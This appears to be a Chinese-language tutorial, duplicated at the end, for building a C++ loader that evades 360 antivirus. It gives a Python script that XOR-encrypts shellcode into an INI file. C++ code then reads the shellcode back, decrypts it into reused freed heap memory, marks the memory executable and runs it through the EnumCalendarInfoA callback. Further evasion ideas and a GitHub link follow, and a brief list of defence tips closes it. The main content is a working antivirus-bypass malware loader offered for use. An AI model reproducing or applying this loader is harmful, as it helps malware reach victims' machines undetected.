c++免杀360
字数 1152 2025-08-06 20:12:39

C++免杀360技术详解

1. 技术概述

本文详细讲解了一种绕过360杀毒软件的C++免杀技术,主要利用Windows API、UAF(Use After Free)漏洞技术和回调函数执行shellcode的方法实现免杀效果。

2. 核心知识点

2.1 Windows API利用

本技术使用了以下关键Windows API:

  1. GetPrivateProfileIntA - 用于获取加密后的shellcode(从INI文件中读取)
  2. GetCurrentDirectoryA - 获取当前程序所在目录
  3. GetProcAddress - 获取DLL中函数的地址
  4. GetModuleHandleA - 获取模块句柄
  5. VirtualProtect - 修改内存属性为可执行
  6. malloc - 申请内存
  7. itoa - 整数转字符串
  8. EnumCalendarInfoA - 用于执行shellcode的回调函数

2.2 UAF(Use After Free)技术

UAF技术原理:

  1. 指针p1申请并释放堆空间后未置NULL
  2. 指针p2申请相同大小的堆空间,操作系统会重用刚释放的内存
  3. 此时p1和p2指向同一内存地址,可通过p2修改p1的内容

示例代码:

char* p1 = (char*)malloc(sizeof(char*)*10);
memcpy(p1,"hello",10);
free(p1);  // 释放但不置NULL
char* p2 = (char*)malloc(sizeof(char*) * 10);
memcpy(p2,"world",10);
// 此时p1和p2地址相同,p1仍可访问

2.3 Shellcode加密技术

加密Python脚本:

shellcode_=b""  # 原始shellcode
shellcode=[]
for i in shellcode_:
    shellcode.append(str(i^1024))  # 异或加密
shellcode=",".join(shellcode).split(",")
file=open("sc.ini","w")
file.write("[key]\n")
n=0
for i in shellcode:
    file.write(f"{n}={i}\n")  # 写入INI文件
    n+=1
file.close()

生成的INI文件格式:

[key]
0=1098
1=1102
...

3. 免杀加载器实现

3.1 函数指针定义

typedef UINT(WINAPI* GetfileInt)(
    LPCSTR LPAPPNAME,
    LPCSTR KEYNAME,
    INT DEFINE,
    LPCSTR FILENAME
);

typedef BOOL(WINAPI* EnumInfo)(
    CALINFO_ENUMPROCA proc,
    LCID Eocale,
    CALID Calender,
    CALTYPE Type
);

typedef BOOL(WINAPI* Exchange_)(
    LPVOID lpAddress,
    SIZE_T DWsIZE,
    DWORD New,
    PDWORD Old
);

typedef FARPROC(WINAPI* GetFuncAddr_)(
    HMODULE hmod,
    LPCSTR lpName
);

3.2 Shellcode加载流程

  1. 获取API函数地址:
GetFuncAddr_ GetFuncAddr = (GetFuncAddr_)GetProcAddress(
    GetModuleHandleA("Kernel32.dll"),
    "GetProcAddress"
);
  1. 读取并解密shellcode:
unsigned int bt[3000];
char buf[3000];
for (int i = 0; i < 3000; i++) {
    _itoa_s(i, buf, 10);
    UINT k = GetFileIntA("key",buf, NULL, PATH);
    bt[i] = k;
}
  1. 使用UAF技术:
unsigned char* a = (unsigned char*)malloc(sizeof(bt));
free(a);
unsigned char* b = (unsigned char*)malloc(sizeof(bt));
for (int i = 0; i < (sizeof(bt) / sizeof(bt[0])); i++) {
    b[i] = (unsigned char)(bt[i] ^ 1024);  // 解密
}
  1. 修改内存属性并执行:
DWORD p;
exchange_(a, sizeof(a), 0x40,&p);  // 修改为可执行
EnumInfoA((CALINFO_ENUMPROCA)a, LOCALE_SYSTEM_DEFAULT, ENUM_ALL_CALENDARS, CAL_ICALINTVALUE);

4. 扩展思路

  1. PathFindFileName API - 将shellcode作为程序名的一部分,通过该API获取

    • 注意:Windows文件名最长260字符,需分段处理
  2. 其他内存申请API

    • GlobalAlloc
    • CoTaskMemAlloc
    • HeapAlloc
    • RtlCreateHeap
    • VirtualAlloc
    • VirtualAllocEx
    • ReallocADsMem
    • AllocADsMem
    • CoTaskMenAlloc
  3. 加密增强

    • 可结合凯撒密码、隐写术等CTF技术
    • 自定义加密算法提高隐蔽性

5. 完整代码

完整代码已发布在GitHub: https://github.com/wz-wsl/360-bypass

6. 防御建议

  1. 监控敏感API调用序列
  2. 检测异常的内存属性修改
  3. 防范UAF漏洞利用
  4. 对回调函数执行代码保持警惕
  5. 监控INI等配置文件异常读取行为

7. 总结

本技术通过:

  1. 将shellcode加密存储在配置文件中
  2. 使用非常用API加载执行
  3. 结合UAF技术提高隐蔽性
  4. 利用回调函数规避检测

实现了对360杀毒软件的绕过,展示了多种免杀技术的综合应用。

C++免杀360技术详解 1. 技术概述 本文详细讲解了一种绕过360杀毒软件的C++免杀技术,主要利用Windows API、UAF(Use After Free)漏洞技术和回调函数执行shellcode的方法实现免杀效果。 2. 核心知识点 2.1 Windows API利用 本技术使用了以下关键Windows API: GetPrivateProfileIntA - 用于获取加密后的shellcode(从INI文件中读取) GetCurrentDirectoryA - 获取当前程序所在目录 GetProcAddress - 获取DLL中函数的地址 GetModuleHandleA - 获取模块句柄 VirtualProtect - 修改内存属性为可执行 malloc - 申请内存 itoa - 整数转字符串 EnumCalendarInfoA - 用于执行shellcode的回调函数 2.2 UAF(Use After Free)技术 UAF技术原理: 指针p1申请并释放堆空间后未置NULL 指针p2申请相同大小的堆空间,操作系统会重用刚释放的内存 此时p1和p2指向同一内存地址,可通过p2修改p1的内容 示例代码: 2.3 Shellcode加密技术 加密Python脚本: 生成的INI文件格式: 3. 免杀加载器实现 3.1 函数指针定义 3.2 Shellcode加载流程 获取API函数地址: 读取并解密shellcode: 使用UAF技术: 修改内存属性并执行: 4. 扩展思路 PathFindFileName API - 将shellcode作为程序名的一部分,通过该API获取 注意:Windows文件名最长260字符,需分段处理 其他内存申请API : GlobalAlloc CoTaskMemAlloc HeapAlloc RtlCreateHeap VirtualAlloc VirtualAllocEx ReallocADsMem AllocADsMem CoTaskMenAlloc 加密增强 : 可结合凯撒密码、隐写术等CTF技术 自定义加密算法提高隐蔽性 5. 完整代码 完整代码已发布在GitHub: https://github.com/wz-wsl/360-bypass 6. 防御建议 监控敏感API调用序列 检测异常的内存属性修改 防范UAF漏洞利用 对回调函数执行代码保持警惕 监控INI等配置文件异常读取行为 7. 总结 本技术通过: 将shellcode加密存储在配置文件中 使用非常用API加载执行 结合UAF技术提高隐蔽性 利用回调函数规避检测 实现了对360杀毒软件的绕过,展示了多种免杀技术的综合应用。